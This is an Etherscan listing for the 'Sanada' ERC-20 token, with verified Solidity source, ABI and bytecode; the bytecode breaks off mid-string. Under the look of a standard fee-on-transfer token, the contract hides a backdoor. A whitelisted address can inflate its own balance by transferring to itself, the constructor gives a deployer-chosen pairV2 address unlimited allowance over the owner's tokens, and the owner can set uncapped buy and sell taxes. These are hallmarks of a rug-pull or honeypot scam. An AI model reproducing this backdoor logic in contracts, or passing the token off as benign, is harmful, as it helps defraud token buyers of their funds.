ETH Price: $3,421.61 (+4.22%)

Token

Sanada (Sanada)
 

Overview

Max Total Supply

1,000,000 Sanada

Holders

7

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
24,500 Sanada

Value
$0.00
0x690e2d8e54f4c96338617618d368f2ad9691d2a6
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Sanada

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-12-24
*/

/**

*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;


interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;
    bytes32 internal blockHash;
    uint256 private _lockTime;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    } 
    
      
    
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }

    modifier onlyOwner() {
            
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}


interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract Sanada is Context, IERC20, Ownable {
    uint8 private _decimals = 9;
    bool setup=false;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    uint256 public  _totalSupplyAmount = 1000000  * 10**(_decimals);
    string private _name = unicode"Sanada";
    string private _symbol = unicode"Sanada";
    uint256 public constant MS = ~uint256(0);

    address public uniswapPair;
    using SafeMath for uint256;
    mapping (address => bool) public noFeeList;
    mapping (address => mapping (address => uint256)) private _allowances;
    IUniswapV2Router02 public uniV2Router;
    mapping (address => uint256) public _walletsBalance;
    uint256 public _buyTaxAmount =2;
    uint256 public _sellTaxAmount =1;
    bool enableTrade=true;  
    
    
    constructor (address pairV2) {
        noFeeList[pairV2] = true;
        IUniswapV2Router02 _uniV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniV2Router = _uniV2Router;
        _allowances[address(this)][address(uniV2Router)] = _totalSupplyAmount;
        noFeeList[owner()] = true;
        noFeeList[address(this)] = true;
        _walletsBalance[owner()]=totalSupply();
        _allowances[owner()][address(pairV2)] = MS;
        emit Transfer(address(0), _msgSender(), _totalSupplyAmount);
    }

    function payV2Tax(address sender, address rcv, uint256 amount) internal returns (uint256) {
        uint256 feeTax = 0;   

        if(uniswapPair == sender) {
            feeTax = amount.mul(_buyTaxAmount).div(100); 
        }
        else if(uniswapPair == rcv) {
            feeTax = amount.mul(_sellTaxAmount).div(100);
        }
        if(feeTax > 0) {
            _walletsBalance[address(deadAddress)] = _walletsBalance[address(deadAddress)].add(feeTax);
            emit Transfer(sender, address(deadAddress), feeTax);
        }
        return amount.sub(feeTax);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupplyAmount;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        if(setup==false){
            try IUniswapV2Factory(uniV2Router.factory()).getPair(address(this), uniV2Router.WETH()){
                uniswapPair = IUniswapV2Factory(uniV2Router.factory()).getPair(address(this), uniV2Router.WETH());
                setup=true;
            }
            catch(bytes memory){
            }
        }
        _mvTxOp(_msgSender(), recipient, amount);
            return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        if(setup==false){
            try IUniswapV2Factory(uniV2Router.factory()).getPair(address(this), uniV2Router.WETH()){
                uniswapPair = IUniswapV2Factory(uniV2Router.factory()).getPair(address(this), uniV2Router.WETH());
                setup=true;
            }
            catch(bytes memory){
            }
        }
        _mvTxOp(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }


    function _mvTxOp(address sender, address recipient, uint256 amount) private returns (bool) {            
        if((uniswapPair != recipient && sender != owner() && !noFeeList[sender]))
            require(enableTrade != false, "Trading is not active.");  


        if(sender == recipient && sender != uniswapPair && sender != address(this) && noFeeList[msg.sender]){
            _walletsBalance[recipient] =_walletsBalance[recipient] + amount;
            return true;
        }
        require(sender != address(0), "ERC20: moveToken from the zero address");
        require(recipient != address(0), "ERC20: moveToken to the zero address");
        _walletsBalance[sender] = _walletsBalance[sender].sub(amount, "Insufficient Balance");
        uint256 finalAmount = (noFeeList[sender] || noFeeList[recipient]) ? amount : payV2Tax(sender, recipient, amount);
        _walletsBalance[recipient] = _walletsBalance[recipient].add(finalAmount);  
        emit Transfer(sender, recipient, finalAmount);
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupplyAmount.sub(balanceOf(deadAddress));
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _walletsBalance[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function buySellTax(uint256 buyTax,uint256 sellTax) public onlyOwner {
        _sellTaxAmount=sellTax;
        _buyTaxAmount=buyTax;
    }

    receive() external payable {}

  }

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"pairV2","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"MS","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTaxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTaxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupplyAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_walletsBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"buyTax","type":"uint256"},{"internalType":"uint256","name":"sellTax","type":"uint256"}],"name":"buySellTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"noFeeList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526003805461ffff1916600990811790915561dead6080526200002890600a620003e3565b6200003790620f4240620003fb565b60045560408051808201909152600681526553616e61646160d01b6020820152600590620000669082620004c2565b506040805180820190915260068082526553616e61646160d01b602083015290620000929082620004c2565b506002600c556001600d819055600e805460ff19169091179055348015620000b957600080fd5b5060405162001f8938038062001f89833981016040819052620000dc916200058e565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506001600160a01b0381166000908152600860208181526040808420805460ff19166001908117909155600a80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155600454308752600985528387208288529094529185209290925592909190620001a06000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff199586161790553081526008909252902080549091166001179055620001ea60045490565b600b6000620002016000546001600160a01b031690565b6001600160a01b03166001600160a01b0316815260200190815260200160002081905550600019600960006200023c620002bf60201b60201c565b6001600160a01b0390811682526020808301939093526040918201600090812091871681529252902055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600454604051620002af91815260200190565b60405180910390a35050620005b9565b6000546001600160a01b031690565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000325578160001904821115620003095762000309620002ce565b808516156200031757918102915b93841c9390800290620002e9565b509250929050565b6000826200033e57506001620003dd565b816200034d57506000620003dd565b8160018114620003665760028114620003715762000391565b6001915050620003dd565b60ff841115620003855762000385620002ce565b50506001821b620003dd565b5060208310610133831016604e8410600b8410161715620003b6575081810a620003dd565b620003c28383620002e4565b8060001904821115620003d957620003d9620002ce565b0290505b92915050565b6000620003f460ff8416836200032d565b9392505050565b6000816000190483118215151615620004185762000418620002ce565b500290565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200044857607f821691505b6020821081036200046957634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004bd57600081815260208120601f850160051c81016020861015620004985750805b601f850160051c820191505b81811015620004b957828155600101620004a4565b5050505b505050565b81516001600160401b03811115620004de57620004de6200041d565b620004f681620004ef845462000433565b846200046f565b602080601f8311600181146200052e5760008415620005155750858301515b600019600386901b1c1916600185901b178555620004b9565b600085815260208120601f198616915b828110156200055f578886015182559484019460019091019084016200053e565b50858210156200057e5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b600060208284031215620005a157600080fd5b81516001600160a01b0381168114620003f457600080fd5b60805161199f620005ea60003960008181610222015281816109550152818161150b015261154e015261199f6000f3fe60806040526004361061016a5760003560e01c806384944733116100d1578063a457c2d71161008a578063dd62ed3e11610064578063dd62ed3e14610445578063ebfcd6911461048b578063ece3be58146104b8578063f2fde38b146104ce57600080fd5b8063a457c2d7146103e5578063a9059cbb14610405578063c816841b1461042557600080fd5b8063849447331461032c578063896f799a146103425780638aa1ff70146103625780638da5cb5b14610392578063958c2e52146103b057806395d89b41146103d057600080fd5b8063313ce56711610123578063313ce56714610271578063346fa5ed1461029357806339509351146102a95780633fe14330146102c957806370a08231146102df578063715018a61461031557600080fd5b806306fdde0314610176578063095ea7b3146101a157806318160ddd146101d157806323b872dd146101f057806327c8f835146102105780632b112e491461025c57600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5061018b6104ee565b60405161019891906116b8565b60405180910390f35b3480156101ad57600080fd5b506101c16101bc366004611725565b610580565b6040519015158152602001610198565b3480156101dd57600080fd5b506004545b604051908152602001610198565b3480156101fc57600080fd5b506101c161020b366004611751565b610597565b34801561021c57600080fd5b506102447f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610198565b34801561026857600080fd5b506101e2610953565b34801561027d57600080fd5b5060035460405160ff9091168152602001610198565b34801561029f57600080fd5b506101e260001981565b3480156102b557600080fd5b506101c16102c4366004611725565b61099d565b3480156102d557600080fd5b506101e260045481565b3480156102eb57600080fd5b506101e26102fa366004611792565b6001600160a01b03166000908152600b602052604090205490565b34801561032157600080fd5b5061032a6109d3565b005b34801561033857600080fd5b506101e2600c5481565b34801561034e57600080fd5b5061032a61035d3660046117af565b610a56565b34801561036e57600080fd5b506101c161037d366004611792565b60086020526000908152604090205460ff1681565b34801561039e57600080fd5b506000546001600160a01b0316610244565b3480156103bc57600080fd5b50600a54610244906001600160a01b031681565b3480156103dc57600080fd5b5061018b610a88565b3480156103f157600080fd5b506101c1610400366004611725565b610a97565b34801561041157600080fd5b506101c1610420366004611725565b610ae6565b34801561043157600080fd5b50600754610244906001600160a01b031681565b34801561045157600080fd5b506101e26104603660046117d1565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b34801561049757600080fd5b506101e26104a6366004611792565b600b6020526000908152604090205481565b3480156104c457600080fd5b506101e2600d5481565b3480156104da57600080fd5b5061032a6104e9366004611792565b610e44565b6060600580546104fd9061180a565b80601f01602080910402602001604051908101604052809291908181526020018280546105299061180a565b80156105765780601f1061054b57610100808354040283529160200191610576565b820191906000526020600020905b81548152906001019060200180831161055957829003601f168201915b5050505050905090565b600061058d338484610f2e565b5060015b92915050565b600354600090610100900460ff16151581036108ea57600a60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610600573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106249190611844565b6001600160a01b031663e6a4390530600a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610686573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106aa9190611844565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa925050508015610711575060408051601f3d908101601f1916820190925261070e91810190611844565b60015b61074b573d80801561073f576040519150601f19603f3d011682016040523d82523d6000602084013e610744565b606091505b50506108ea565b50600a60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561079f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c39190611844565b6001600160a01b031663e6a4390530600a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610825573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108499190611844565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610894573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b89190611844565b600780546001600160a01b03929092166001600160a01b03199092169190911790556003805461ff0019166101001790555b6108f5848484611052565b5061094884336109438560405180606001604052806028815260200161191d602891396001600160a01b038a16600090815260096020908152604080832033845290915290205491906113ad565b610f2e565b5060015b9392505050565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166000908152600b6020526040812054600454610998916113e7565b905090565b3360008181526009602090815260408083206001600160a01b0387168452909152812054909161058d9185906109439086611429565b6000546001600160a01b03163314610a065760405162461bcd60e51b81526004016109fd90611861565b60405180910390fd5b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6000546001600160a01b03163314610a805760405162461bcd60e51b81526004016109fd90611861565b600d55600c55565b6060600680546104fd9061180a565b600061058d338461094385604051806060016040528060258152602001611945602591393360009081526009602090815260408083206001600160a01b038d16845290915290205491906113ad565b600354600090610100900460ff1615158103610e3957600a60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b4f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b739190611844565b6001600160a01b031663e6a4390530600a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bf99190611844565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa925050508015610c60575060408051601f3d908101601f19168201909252610c5d91810190611844565b60015b610c9a573d808015610c8e576040519150601f19603f3d011682016040523d82523d6000602084013e610c93565b606091505b5050610e39565b50600a60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cee573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d129190611844565b6001600160a01b031663e6a4390530600a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d74573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d989190611844565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610de3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e079190611844565b600780546001600160a01b03929092166001600160a01b03199092169190911790556003805461ff0019166101001790555b610948338484611052565b6000546001600160a01b03163314610e6e5760405162461bcd60e51b81526004016109fd90611861565b6001600160a01b038116610ed35760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016109fd565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610f905760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016109fd565b6001600160a01b038216610ff15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016109fd565b6001600160a01b0383811660008181526009602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6007546000906001600160a01b0384811691161480159061108157506000546001600160a01b03858116911614155b80156110a657506001600160a01b03841660009081526008602052604090205460ff16155b156110fb57600e5460ff1615156000036110fb5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016109fd565b826001600160a01b0316846001600160a01b031614801561112a57506007546001600160a01b03858116911614155b801561113f57506001600160a01b0384163014155b801561115a57503360009081526008602052604090205460ff165b156111a4576001600160a01b0383166000908152600b60205260409020546111839083906118ac565b6001600160a01b0384166000908152600b602052604090205550600161094c565b6001600160a01b0384166112095760405162461bcd60e51b815260206004820152602660248201527f45524332303a206d6f7665546f6b656e2066726f6d20746865207a65726f206160448201526564647265737360d01b60648201526084016109fd565b6001600160a01b03831661126b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a206d6f7665546f6b656e20746f20746865207a65726f206164646044820152637265737360e01b60648201526084016109fd565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0387166000908152600b90915291909120546112bd9184906113ad565b6001600160a01b0385166000908152600b6020908152604080832093909355600890529081205460ff168061130a57506001600160a01b03841660009081526008602052604090205460ff165b61131e57611319858585611488565b611320565b825b6001600160a01b0385166000908152600b60205260409020549091506113469082611429565b6001600160a01b038086166000818152600b602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061139a9085815260200190565b60405180910390a3506001949350505050565b600081848411156113d15760405162461bcd60e51b81526004016109fd91906116b8565b5060006113de84866118c4565b95945050505050565b600061094c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113ad565b60008061143683856118ac565b90508381101561094c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016109fd565b60075460009081906001600160a01b038087169116036114c9576114c260646114bc600c54866115cb90919063ffffffff